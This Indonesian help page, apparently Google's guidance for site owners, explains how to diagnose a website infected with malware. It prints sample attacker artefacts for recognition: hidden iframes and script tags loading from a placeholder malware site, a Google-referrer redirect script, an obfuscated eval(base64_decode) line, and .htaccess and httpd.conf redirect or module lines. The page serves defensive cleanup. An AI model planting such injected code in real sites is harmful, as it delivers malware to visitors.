Diretas dengan malware

Malware adalah software atau aplikasi seluler yang dirancang khusus untuk membahayakan komputer, perangkat seluler, software yang dijalankannya, atau penggunanya. Untuk informasi selengkapnya tentang malware, lihat Malware dan software yang tidak diinginkan.

Jika situs Anda berisi malware, pengguna biasanya akan melihat peringatan "Situs ini mungkin berbahaya bagi komputer Anda" yang ditampilkan di hasil penelusuran atau di halaman interstisial yang ditampilkan oleh browser saat pengguna mencoba membuka situs Anda, seperti ini:

Halaman interstisial malware perwakilan
Hasil penelusuran dengan peringatan malware.

Anda akan memerlukan hal berikut:

  • Akses administrator shell atau terminal ke server situs Anda: web, database, dan file.
  • Pengetahuan tentang perintah shell atau terminal.
  • Kemampuan untuk menjalankan kueri SQL di database.

Persiapan

  • Daftar ke Search Console dan verifikasi kepemilikan situs Anda yang diretas seperti yang dijelaskan di sana. Search Console memberikan contoh halaman yang terpengaruh, sehingga mempermudah pencarian dan perbaikan masalah peretasan dengan malware. Selain itu, Anda akan diberi tahu saat situs Anda terdeteksi terpengaruh oleh banyak jenis malware atau peretasan lainnya.
  • Lihat halaman diagnostik Google Safe Browsing untuk melihat informasi publik tentang apakah situs berpotensi membahayakan pengguna. Anda dapat melihat status listingan untuk halaman atau situs Anda di URL yang mirip dengan ini: https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** Misalnya: https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> dapat berupa URL halaman tertentu (http://example.com/badpage) atau seluruh situs Anda (example.com).

  • Hindari penggunaan browser untuk melihat halaman di situs Anda. Karena malware sering kali menyebar dengan memanfaatkan kerentanan browser, membuka halaman yang terinfeksi malware di browser dapat merusak komputer Anda. Kecuali jika petunjuk diagnosis mengatakan untuk mengakses halaman secara langsung di browser, gunakan cURL atau Wget untuk melakukan permintaan HTTP (misalnya, untuk mengambil halaman).

    Alat yang tersedia secara gratis ini berguna dalam mendiagnosis pengalihan, dan memiliki fleksibilitas untuk menyertakan informasi perujuk atau agen pengguna. Menyertakan perujuk atau agen pengguna tertentu akan membantu meniru peretas, karena peretas mungkin hanya menayangkan konten berbahaya kepada pengguna dengan perujuk atau agen pengguna tertentu untuk menargetkan lebih banyak "orang sungguhan" dan menghindari deteksi dari pemilik situs dan pemindai malware.

`curl -v --referer "http://www.google.com" <your-url>`

Berikut adalah contoh yang menentukan agen pengguna dan perujuk:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

Sebaiknya ambil halaman dengan dan tanpa --referer "https://www.google.com", karena beberapa malware hanya diaktifkan saat pengguna berasal dari hasil Google Penelusuran.

  • Buat dokumen untuk mencatat penemuan dari langkah ini. Dokumen ini nantinya akan menyertakan (minimal) nama dan lokasi setiap file yang rusak serta catatan tentang cara file tersebut terinfeksi, dan akan berfungsi sebagai dasar untuk Membersihkan dan memelihara situs Anda.

  • Tonton video sebelumnya di halaman ini untuk melihat cara kerja malware dan cara Anda tetap aman selama investigasi malware.

Diagnosis

Tentukan malware yang memengaruhi situs Anda:

  1. Buka laporan Masalah Keamanan untuk situs Anda di Search Console. Luaskan deskripsi peringatan malware untuk melihat daftar contoh halaman yang terpengaruh. Perhatikan bahwa daftar ini tidak lengkap; Anda mungkin tidak mendapatkan halaman contoh untuk semua jenis malware di situs Anda.
  2. Uji halaman contoh Anda untuk jenis malware berikut.

Malware konfigurasi server (pengalihan yang tidak diinginkan)

Peretas telah menyusupi situs Anda dan mengalihkan pengunjung dari situs Anda yang bereputasi baik ke situs serangan malware mereka. Hal ini mungkin dilakukan dengan cara memodifikasi file konfigurasi server Anda. File konfigurasi server biasanya mengizinkan administrator situs menentukan pengalihan URL untuk halaman tertentu atau direktori di situs. Misalnya, di server Apache, dapat berupa file .htaccess serta httpd.conf.

Diagnosis

Buka beberapa contoh URL yang ditampilkan dalam laporan Masalah Keamanan. Respons dari halaman yang terinfeksi dengan infeksi "konfigurasi server" dapat menyertakan header berikut:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

Menentukan file yang terpengaruh

Login ke server Anda melalui shell atau akses terminal (situs dapat offline, jika Anda inginkan) dan tinjau file konfigurasi server yang relevan. Mungkin ada lebih dari satu file konfigurasi server yang diretas di situs Anda. Periksa file tersebut untuk melihat apakah ada perintah yang tidak diinginkan, seperti pengalihan ke situs yang tidak dikenal. Misalnya, dalam file .htaccess`, Anda mungkin melihat pengalihan yang terlihat seperti ini:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

Injeksi SQL

Peretas telah menyusupi database situs Anda. Misalnya, peretas mungkin telah menyisipkan kode berbahaya secara terprogram ke dalam setiap catatan tabel database, sehingga saat server memuat halaman yang memerlukan informasi dari database, kode berbahaya telah tersemat dalam konten halaman dan dapat membahayakan pengunjung situs.

Diagnosis

  1. Jalankan beberapa kueri pada URL yang terpengaruh di command line, lalu periksa respons untuk kata-kata serangan SQL seperti "iframe" atau "eval".
  2. Login ke server database Anda atau lihat database melalui alat seperti phpMyAdmin. Jika Anda menggunakan Wget atau cURL, coba korelasikan kerusakan yang ditemukan di kode sumber halaman melalui Wget atau cURL dengan entri database yang sebenarnya. Misalnya, jika Anda melihat halaman menyertakan iframe berbahaya, Anda dapat melakukan kueri SQL untuk menelusuri kode iframe. Contoh:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
  3. Sebaiknya periksa juga log database dan file error di server Anda untuk menemukan aktivitas yang tidak biasa, seperti perintah SQL tidak terduga yang tampak tidak wajar untuk pengguna atau error biasa.

Memperbaiki masalah

Perbarui setiap catatan database yang terinfeksi, atau pulihkan cadangan database yang terakhir diketahui.

Injeksi kode

Halaman di situs Anda diubah untuk menyertakan kode berbahaya, seperti iframe ke situs penyerang malware.

Diagnosis

Buka beberapa contoh URL yang ditampilkan dalam laporan Masalah Keamanan dengan cURL atau wGet dan periksa kode yang mencurigakan. Kode yang dimasukkan dapat memiliki banyak jenis, dan dapat sulit ditemukan. Tindakan tersebut berfungsi untuk menelusuri kata-kata seperti "iframe" guna menemukan kode iframe. Kata kunci lain yang bermanfaat adalah "script", "eval", dan "unescape". Misalnya, untuk menelusuri semua file "iframe" di sistem berbasis Unix:

$grep -irn "iframe" ./ | less</pre>

Berikut beberapa pola malware umum yang harus dicari.

Iframe yang memuat situs berbahaya:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

JavaScript atau bahasa skrip lain yang memanggil dan menjalankan skrip dari situs penyerang:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

Skrip yang mengalihkan browser ke situs penyerang:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;
<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

Kode berbahaya yang di-obfuscate untuk menghindari deteksi:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

File objek bersama yang dirancang untuk menulis kode berbahaya secara acak ke skrip yang tidak berbahaya:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

Template error berbahaya

Template yang digunakan untuk pesan error, seperti 404 File not Found, dikonfigurasi untuk mendistribusikan malware. Dengan cara ini, penyerang dapat meluncurkan serangan pada URL yang bahkan tidak ada di situs Anda.

Diagnosis

Minta halaman di situs Anda yang tidak ada, atau yang memunculkan jenis error lain, dan periksa responsnya untuk melihat apakah halaman berasal dari situs lain atau berisi malware.

Memperbaiki masalah

Login ke server web Anda dan telusuri file konfigurasi server untuk mendapatkan perintah halaman error. Misalnya, template error untuk server web Apache dapat dideklarasikan dalam file .htaccess. Berikut adalah contoh entri file .htaccess yang mengambil halaman error 404 dari situs berbahaya:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

Saat sudah siap untuk membersihkan situs, ganti file .htaccess dengan cadangan yang tidak terinfeksi yang dikenal, atau hapus perintah ErrorDocument yang tidak diinginkan pada file .htaccess yang ada. Pastikan juga untuk membersihkan file error yang sebenarnya jika ada di situs Anda. Terakhir, mulai ulang server web Anda untuk memastikan semua perubahan diterapkan.

Resource dimuat dari situs yang disusupi atau berbahaya {compromised-resources}

Situs Anda menggunakan konten atau referensi dari situs yang diketahui berisi konten berbahaya. File ini dapat berupa file JavaScript, gambar, atau file lainnya. Oleh karena itu, situs Anda akan ditandai karena malware yang dimuat dari situs lain tersebut.

Diagnosis

Buka beberapa contoh URL yang ditampilkan dalam laporan Masalah Keamanan.

Memperbaiki masalah

  1. Konfirmasi masalah dengan membuka beberapa contoh URL yang tercantum dalam laporan Masalah Keamanan di Search Console. Anda akan melihat peringatan browser.
  2. Peringatan browser akan memberi tahu Anda domain dari konten terkait. Hapus semua referensi ke situs yang ditandai yang tercantum dalam peringatan browser. Jika konten dari situs yang ditandai disertakan tanpa sepengetahuan Anda, masalahnya akan lebih serius. Situs Anda kemungkinan besar telah disusupi, dan Anda harus terus memeriksa situs untuk menemukan peretasan dan kerentanan lainnya.
  3. Jika Anda sengaja menyertakan konten dari situs yang sah yang ditandai dan ingin menyertakan kembali konten tersebut setelah situs yang ditandai dibersihkan, Anda dapat memantau status situs yang ditandai menggunakan halaman diagnostik Safe Browsing Google untuk situs tersebut (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external}. Pemilik situs yang sah biasanya akan segera membersihkannya.

Penyelidikan tambahan

Selanjutnya, periksa apakah ada file atau perubahan berbahaya lainnya di sistem Anda. Peretas mungkin telah mengubah halaman atau data database yang ada, membuat halaman spam yang sepenuhnya baru, menulis fungsi yang menampilkan spam di halaman yang bersih, atau meninggalkan "pintu belakang" yang memungkinkan peretas masuk kembali ke situs Anda, atau memasukkan kembali kode berbahaya yang telah Anda hapus.

Jika situs Anda sedang online, sebaiknya nonaktifkan situs tersebut untuk penyelidikan ini.

Jika Anda memiliki cadangan situs yang diketahui aman, tentukan file mana yang telah dibuat atau diubah sejak pencadangan dan selidiki file tersebut. Pada sistem berbasis Unix, Anda dapat menggunakan perintah seperti berikut untuk menemukan file baru:

diff -qr <current-directory> <backup-directory>

Contoh:

diff -qr www/ backups/full-backup-20120124/

juga:

md5sum <current-page> <backup-page>

Contoh:

md5sum www/page.html backups/full-backup-20120124/page.html

Periksa log server, akses, dan error untuk melihat aktivitas yang mencurigakan seperti upaya login yang gagal, histori perintah (terutama sebagai root), dan pembuatan akun pengguna yang tidak dikenal. Perhatikan bahwa peretas mungkin telah mengubah log ini untuk tujuan mereka sendiri. Beberapa contoh ditampilkan dalam video untuk Mengidentifikasi kerentanan.

Periksa file konfigurasi untuk menemukan pengalihan. File konfigurasi Anda biasanya bernama .htaccess dan httpd.conf. Peretas sering kali membuat pengalihan kondisional berdasarkan agen pengguna, waktu, atau perujuk. Jika perlu memperbarui file konfigurasi, Anda mungkin perlu memulai ulang server agar perubahan diterapkan.

Periksa izin folder dan file yang terlalu longgar. Peretas memodifikasi izin karena jika izin yang longgar tetap tidak terdeteksi oleh pemilik situs, peretas akan memiliki cara untuk masuk kembali ke situs. File yang lebih besar dari 644 (rw-r--r--) dan folder yang lebih besar dari 755 (rwxr-xr-x) dapat menyebabkan masalah keamanan. Pastikan semua izin yang lebih longgar benar-benar dibutuhkan. Pada sistem berbasis Unix, coba:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

dan:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

Jika Anda memiliki database, selidiki setiap data, menggunakan alat seperti phpMyAdmin.